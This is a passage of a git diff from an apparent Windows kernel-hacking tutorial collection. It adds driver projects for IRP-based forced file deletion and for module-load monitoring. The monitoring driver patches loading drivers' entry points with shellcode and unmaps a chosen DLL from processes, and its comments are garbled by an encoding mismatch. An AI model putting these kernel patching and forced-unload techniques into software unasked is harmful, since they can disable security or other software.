Unknown[256]; +} AUX_ACCESS_DATA, *PAUX_ACCESS_DATA; + + +NTSTATUS SeCreateAccessState( + PACCESS_STATE AccessState, + PVOID AuxData, + ACCESS_MASK DesiredAccess, + PGENERIC_MAPPING GenericMapping + ); + +NTSTATUS ObCreateObject( + __in KPROCESSOR_MODE ProbeMode, // ǷҪ֤ + __in POBJECT_TYPE ObjectType, // ָ + __in POBJECT_ATTRIBUTES ObjectAttributes, // , ջתObAllocateObjectҪOBJECT_CREATE_INFORMATIONṹ + __in KPROCESSOR_MODE OwnershipMode, // ں˶?û? ͬ + __inout_opt PVOID ParseContext, // û + __in ULONG ObjectBodySize, // С + __in ULONG PagedPoolCharge, // ... + __in ULONG NonPagedPoolCharge, // ... + __out PVOID *Object // նָ + ); + + + + +// ʵ, ¼ź, ͷIRP +NTSTATUS MyCompleteRoutine( + IN PDEVICE_OBJECT DeviceObject, + IN PIRP pIrp, + IN PVOID Context); + + +// ߴļ +// ZwCreateFile +NTSTATUS IrpCreateFile( + OUT PFILE_OBJECT *ppFileObject, + IN ACCESS_MASK DesiredAccess, + IN PUNICODE_STRING pustrFilePath, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER AllocationSize OPTIONAL, + IN ULONG FileAttributes, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN PVOID EaBuffer OPTIONAL, + IN ULONG EaLength); + +// ļ +// ZwQueryDirectoryFile +NTSTATUS IrpQueryDirectoryFile( + IN PFILE_OBJECT pFileObject, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass, + IN PUNICODE_STRING FileName OPTIONAL); + +// ȡļϢ +// ZwQueryInformationFile +NTSTATUS IrpQueryInformationFile( + IN PFILE_OBJECT pFileObject, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + +// ļϢ +// ZwSetInformationFile +NTSTATUS IrpSetInformationFile( + IN PFILE_OBJECT pFileObject, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + +// ļ +// ZwReadFile +NTSTATUS IrpReadFile( + IN PFILE_OBJECT pFileObject, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL + ); + +// дļ +// ZwWriteFile +NTSTATUS IrpWriteFile( + IN PFILE_OBJECT pFileObject, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL + ); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/IrpFileForceDelete_Test.inf" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/IrpFileForceDelete_Test.inf" new file mode 100644 index 0000000..fe29616 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/IrpFileForceDelete_Test.inf" @@ -0,0 +1,32 @@ +; +; IrpFileForceDelete_Test.inf +; + +[Version] +Signature="$WINDOWS NT$" +Class= +ClassGuid= +Provider= +DriverVer= +CatalogFile= + +[DestinationDirs] +DefaultDestDir = 12 + + +[SourceDisksNames] +1 = %DiskName%,,,"" + +[SourceDisksFiles] + + +[Manufacturer] +%ManufacturerName%=Standard,NT$ARCH$ + +[Standard.NT$ARCH$] + + +[Strings] +ManufacturerName="" +ClassName="" +DiskName="IrpFileForceDelete_Test Source Disk" diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/IrpFileForceDelete_Test.vcxproj" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/IrpFileForceDelete_Test.vcxproj" new file mode 100644 index 0000000..a7aec87 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/IrpFileForceDelete_Test.vcxproj" @@ -0,0 +1,289 @@ + + + + + Win8.1 Debug + Win32 + + + Win8.1 Release + Win32 + + + Win8 Debug + Win32 + + + Win8 Release + Win32 + + + Win7 Debug + Win32 + + + Win7 Release + Win32 + + + Win8.1 Debug + x64 + + + Win8.1 Release + x64 + + + Win8 Debug + x64 + + + Win8 Release + x64 + + + Win7 Debug + x64 + + + Win7 Release + x64 + + + + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8} + {dd38f7fc-d7bd-488b-9242-7d8754cde80d} + v4.5 + 11.0 + Win8.1 Debug + Win32 + IrpFileForceDelete_Test + + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/IrpFileForceDelete_Test.vcxproj.filters" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/IrpFileForceDelete_Test.vcxproj.filters" new file mode 100644 index 0000000..3d8c374 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/IrpFileForceDelete_Test.vcxproj.filters" @@ -0,0 +1,48 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8E41214B-6785-4CFE-B992-037D68949A14} + inf;inv;inx;mof;mc; + + + + + Driver Files + + + + + Header Files + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/IrpFileForceDelete_Test.vcxproj.user" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/IrpFileForceDelete_Test.vcxproj.user" new file mode 100644 index 0000000..9e70aae --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/IrpFileForceDelete_Test.vcxproj.user" @@ -0,0 +1,21 @@ + + + + Off + + + Off + + + Off + + + Off + + + Off + + + Off + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test.sln" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test.sln" new file mode 100644 index 0000000..6f54795 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test.sln" @@ -0,0 +1,64 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PsSetLoadImageNotifyRoutine_Test", "PsSetLoadImageNotifyRoutine_Test\PsSetLoadImageNotifyRoutine_Test.vcxproj", "{99AF3D55-A540-4618-A56A-B50A322DFB67}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Win7 Debug|Win32 = Win7 Debug|Win32 + Win7 Debug|x64 = Win7 Debug|x64 + Win7 Release|Win32 = Win7 Release|Win32 + Win7 Release|x64 = Win7 Release|x64 + Win8 Debug|Win32 = Win8 Debug|Win32 + Win8 Debug|x64 = Win8 Debug|x64 + Win8 Release|Win32 = Win8 Release|Win32 + Win8 Release|x64 = Win8 Release|x64 + Win8.1 Debug|Win32 = Win8.1 Debug|Win32 + Win8.1 Debug|x64 = Win8.1 Debug|x64 + Win8.1 Release|Win32 = Win8.1 Release|Win32 + Win8.1 Release|x64 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win7 Debug|Win32.ActiveCfg = Win7 Debug|Win32 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win7 Debug|Win32.Build.0 = Win7 Debug|Win32 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win7 Debug|Win32.Deploy.0 = Win7 Debug|Win32 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win7 Debug|x64.ActiveCfg = Win7 Debug|x64 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win7 Debug|x64.Build.0 = Win7 Debug|x64 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win7 Debug|x64.Deploy.0 = Win7 Debug|x64 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win7 Release|Win32.ActiveCfg = Win7 Release|Win32 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win7 Release|Win32.Build.0 = Win7 Release|Win32 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win7 Release|Win32.Deploy.0 = Win7 Release|Win32 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win7 Release|x64.ActiveCfg = Win7 Release|x64 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win7 Release|x64.Build.0 = Win7 Release|x64 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win7 Release|x64.Deploy.0 = Win7 Release|x64 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win8 Debug|Win32.ActiveCfg = Win8 Debug|Win32 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win8 Debug|Win32.Build.0 = Win8 Debug|Win32 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win8 Debug|Win32.Deploy.0 = Win8 Debug|Win32 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win8 Debug|x64.ActiveCfg = Win8 Debug|x64 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win8 Debug|x64.Build.0 = Win8 Debug|x64 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win8 Debug|x64.Deploy.0 = Win8 Debug|x64 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win8 Release|Win32.ActiveCfg = Win8 Release|Win32 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win8 Release|Win32.Build.0 = Win8 Release|Win32 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win8 Release|Win32.Deploy.0 = Win8 Release|Win32 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win8 Release|x64.ActiveCfg = Win8 Release|x64 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win8 Release|x64.Build.0 = Win8 Release|x64 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win8 Release|x64.Deploy.0 = Win8 Release|x64 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win8.1 Debug|Win32.ActiveCfg = Win8.1 Debug|Win32 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win8.1 Debug|Win32.Build.0 = Win8.1 Debug|Win32 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win8.1 Debug|Win32.Deploy.0 = Win8.1 Debug|Win32 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win8.1 Debug|x64.ActiveCfg = Win8.1 Debug|x64 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win8.1 Debug|x64.Build.0 = Win8.1 Debug|x64 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win8.1 Debug|x64.Deploy.0 = Win8.1 Debug|x64 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win8.1 Release|Win32.ActiveCfg = Win8.1 Release|Win32 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win8.1 Release|Win32.Build.0 = Win8.1 Release|Win32 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win8.1 Release|Win32.Deploy.0 = Win8.1 Release|Win32 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win8.1 Release|x64.ActiveCfg = Win8.1 Release|x64 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win8.1 Release|x64.Build.0 = Win8.1 Release|x64 + {99AF3D55-A540-4618-A56A-B50A322DFB67}.Win8.1 Release|x64.Deploy.0 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test.v12.suo" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test.v12.suo" new file mode 100644 index 0000000..3aa7965 Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test.v12.suo" differ diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test/Driver.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test/Driver.c" new file mode 100644 index 0000000..fba1af9 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test/Driver.c" @@ -0,0 +1,110 @@ +#include "LoadImageNotify.h" +#include "Driver.h" + + +NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath) +{ + DbgPrint("Enter DriverEntry\n"); + NTSTATUS status = STATUS_SUCCESS; + + pDriverObject->DriverUnload = DriverUnload; + pDriverObject->MajorFunction[IRP_MJ_CREATE] = DriverDefaultHandle; + pDriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverDefaultHandle; + pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverControlHandle; + status = CreateDevice(pDriverObject); + + status = SetNotifyRoutine(); + + DbgPrint("Leave DriverEntry\n"); + return status; +} + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject) +{ + DbgPrint("Enter DriverUnload\n"); + + RemoveNotifyRoutine(); + + UNICODE_STRING ustrSymName; + RtlInitUnicodeString(&ustrSymName, SYM_NAME); + IoDeleteSymbolicLink(&ustrSymName); + if (pDriverObject->DeviceObject) + { + IoDeleteDevice(pDriverObject->DeviceObject); + } + + DbgPrint("Leave DriverUnload\n"); +} + + +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + DbgPrint("Enter DriverDefaultHandle\n"); + NTSTATUS status = STATUS_SUCCESS; + + pIrp->IoStatus.Status = status; + pIrp->IoStatus.Information = 0; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + DbgPrint("Leave DriverDefaultHandle\n"); + return status; +} + + +NTSTATUS DriverControlHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + DbgPrint("Enter DriverControlHandle\n"); + NTSTATUS status = STATUS_SUCCESS; + PIO_STACK_LOCATION pIoStackLocation = IoGetCurrentIrpStackLocation(pIrp); + ULONG ulInputLength = pIoStackLocation->Parameters.DeviceIoControl.InputBufferLength; + ULONG ulOutputLength = pIoStackLocation->Parameters.DeviceIoControl.OutputBufferLength; + ULONG ulControlCode = pIoStackLocation->Parameters.DeviceIoControl.IoControlCode; + PVOID pBuf = pIrp->AssociatedIrp.SystemBuffer; + ULONG ulInfo = 0; + + switch(ulControlCode) + { + case IOCTL_TEST: + { + break; + } + default: + break; + } + + pIrp->IoStatus.Status = status; + pIrp->IoStatus.Information = 0; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + DbgPrint("Leave DriverControlHandle\n"); + return status; +} + + +NTSTATUS CreateDevice(PDRIVER_OBJECT pDriverObject) +{ + DbgPrint("Enter CreateDevice\n"); + NTSTATUS status = STATUS_SUCCESS; + UNICODE_STRING ustrDevName, ustrSymName; + PDEVICE_OBJECT pDevObj = NULL; + RtlInitUnicodeString(&ustrDevName, DEV_NAME); + RtlInitUnicodeString(&ustrSymName, SYM_NAME); + + status = IoCreateDevice(pDriverObject, 0, &ustrDevName, FILE_DEVICE_UNKNOWN, 0, FALSE, &pDevObj); + if (!NT_SUCCESS(status)) + { + DbgPrint("IoCreateDevice Error![0x%X]\n", status); + return status; + } + + status = IoCreateSymbolicLink(&ustrSymName, &ustrDevName); + if (!NT_SUCCESS(status)) + { + DbgPrint("IoCreateSymbolicLink Error![0x%X]\n", status); + return status; + } + + DbgPrint("Leave CreateDevice\n"); + return status; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test/Driver.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test/Driver.h" new file mode 100644 index 0000000..486572e --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test/Driver.h" @@ -0,0 +1,19 @@ +#ifndef _DRIVER_H_ +#define _DRIVER_H_ + + +#include + + +#define DEV_NAME L"\\Device\\DEV_NAME" +#define SYM_NAME L"\\DosDevices\\SYM_NAME" +#define IOCTL_TEST CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject); +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp); +NTSTATUS DriverControlHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp); +NTSTATUS CreateDevice(PDRIVER_OBJECT pDriverObject); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test/LoadImageNotify.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test/LoadImageNotify.c" new file mode 100644 index 0000000..68c81d4 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test/LoadImageNotify.c" @@ -0,0 +1,126 @@ +#include "LoadImageNotify.h" + + +NTSTATUS SetNotifyRoutine() +{ + NTSTATUS status = STATUS_SUCCESS; + status = PsSetLoadImageNotifyRoutine(LoadImageNotifyRoutine); + return status; +} + + +NTSTATUS RemoveNotifyRoutine() +{ + NTSTATUS status = STATUS_SUCCESS; + status = PsRemoveLoadImageNotifyRoutine(LoadImageNotifyRoutine); + return status; +} + + +VOID LoadImageNotifyRoutine(PUNICODE_STRING FullImageName, HANDLE ProcessId, PIMAGE_INFO ImageInfo) +{ + DbgPrint("[%d][%wZ][%d][0x%p]\n", ProcessId, FullImageName, ImageInfo->ImageSize, ImageInfo->ImageBase); + + HANDLE hThread = NULL; + CHAR szTemp[1024] = { 0 }; + U2C(FullImageName, szTemp, 1024); + if (NULL != strstr(szTemp, "winmm.dll")) + { + // EXEDLL + if (0 != ProcessId) + { + // ߳, ʱ1Ӻжģ + PMY_DATA pMyData = ExAllocatePool(NonPagedPool, sizeof(MY_DATA)); + pMyData->ProcessId = ProcessId; + pMyData->pImageBase = ImageInfo->ImageBase; + PsCreateSystemThread(&hThread, 0, NULL, NtCurrentProcess(), NULL, ThreadProc, pMyData); + DbgPrint("Deny Load DLL\n"); + } + // + else + { + DenyLoadDriver(ImageInfo->ImageBase); + DbgPrint("Deny Load Driver\n"); + } + } +} + + +// ܾ +NTSTATUS DenyLoadDriver(PVOID pImageBase) +{ + NTSTATUS status = STATUS_SUCCESS; + PMDL pMdl = NULL; + PVOID pVoid = NULL; + ULONG ulShellcodeLength = 16; + UCHAR pShellcode[16] = {0xB8, 0x22, 0x00, 0x00, 0xC0, 0xC3, 0x90, 0x90, + 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90}; + PIMAGE_DOS_HEADER pDosHeader = pImageBase; + PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((PUCHAR)pDosHeader + pDosHeader->e_lfanew); + PVOID pDriverEntry = (PVOID)((PUCHAR)pDosHeader + pNtHeaders->OptionalHeader.AddressOfEntryPoint); + + pMdl = MmCreateMdl(NULL, pDriverEntry, ulShellcodeLength); + MmBuildMdlForNonPagedPool(pMdl); + pVoid = MmMapLockedPages(pMdl, KernelMode); + RtlCopyMemory(pVoid, pShellcode, ulShellcodeLength); + MmUnmapLockedPages(pVoid, pMdl); + IoFreeMdl(pMdl); + + return status; +} + + +// MmUnmapViewOfSection жѾص DLL ģ +NTSTATUS DenyLoadDll(HANDLE ProcessId, PVOID pImageBase) +{ + NTSTATUS status = STATUS_SUCCESS; + PEPROCESS pEProcess = NULL; + + status = PsLookupProcessByProcessId(ProcessId, &pEProcess); + if (!NT_SUCCESS(status)) + { + DbgPrint("PsLookupProcessByProcessId Error[0x%X]\n", status); + return status; + } + + // жģ + status = MmUnmapViewOfSection(pEProcess, pImageBase); + if (!NT_SUCCESS(status)) + { + DbgPrint("MmUnmapViewOfSection Error[0x%X]\n", status); + return status; + } + + return status; +} + + +VOID ThreadProc(_In_ PVOID StartContext) +{ + PMY_DATA pMyData = (PMY_DATA)StartContext; + LARGE_INTEGER liTime = { 0 }; + // ʱ 1 + liTime.QuadPart = -10 * 1000 * 1000; // 100Ϊλʱ, 1==1000==1000*1000΢==1000*1000*1000, ֵʾʱ + KeDelayExecutionThread(KernelMode, FALSE, &liTime); + // ж + DenyLoadDll(pMyData->ProcessId, pMyData->pImageBase); + + ExFreePool(pMyData); +} + + +NTSTATUS U2C(PUNICODE_STRING pustrSrc, PCHAR pszDest, ULONG ulDestLength) +{ + NTSTATUS status = STATUS_SUCCESS; + ANSI_STRING strTemp; + + RtlZeroMemory(pszDest, ulDestLength); + RtlUnicodeStringToAnsiString(&strTemp, pustrSrc, TRUE); + if (ulDestLength > strTemp.Length) + { + RtlCopyMemory(pszDest, strTemp.Buffer, strTemp.Length); + } + RtlFreeAnsiString(&strTemp); + + return status; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test/LoadImageNotify.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test/LoadImageNotify.h" new file mode 100644 index 0000000..eade8ec --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test/LoadImageNotify.h" @@ -0,0 +1,30 @@ +#ifndef _LOAD_IMAGE_NOTIFY_H_ +#define _LOAD_IMAGE_NOTIFY_H_ + + +#include +#include + + +typedef struct _MY_DATA +{ + HANDLE ProcessId; + PVOID pImageBase; +}MY_DATA, *PMY_DATA; + + +NTSTATUS MmUnmapViewOfSection(PEPROCESS Process, PVOID BaseAddress); + +NTSTATUS SetNotifyRoutine(); +NTSTATUS RemoveNotifyRoutine(); +VOID LoadImageNotifyRoutine(PUNICODE_STRING FullImageName, HANDLE ProcessId, PIMAGE_INFO ImageInfo); + +NTSTATUS U2C(PUNICODE_STRING pustrSrc, PCHAR pszDest, ULONG ulDestLength); +VOID ThreadProc(_In_ PVOID StartContext); + +// ܾ +NTSTATUS DenyLoadDriver(PVOID pImageBase); +// ܾDLLģ +NTSTATUS DenyLoadDll(HANDLE ProcessId, PVOID pImageBase); + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test.inf" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test.inf" new file mode 100644 index 0000000..5998ed5 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test.inf" @@ -0,0 +1,32 @@ +; +; PsSetLoadImageNotifyRoutine_Test.inf +; + +[Version] +Signature="$WINDOWS NT$" +Class= +ClassGuid= +Provider= +DriverVer= +CatalogFile= + +[DestinationDirs] 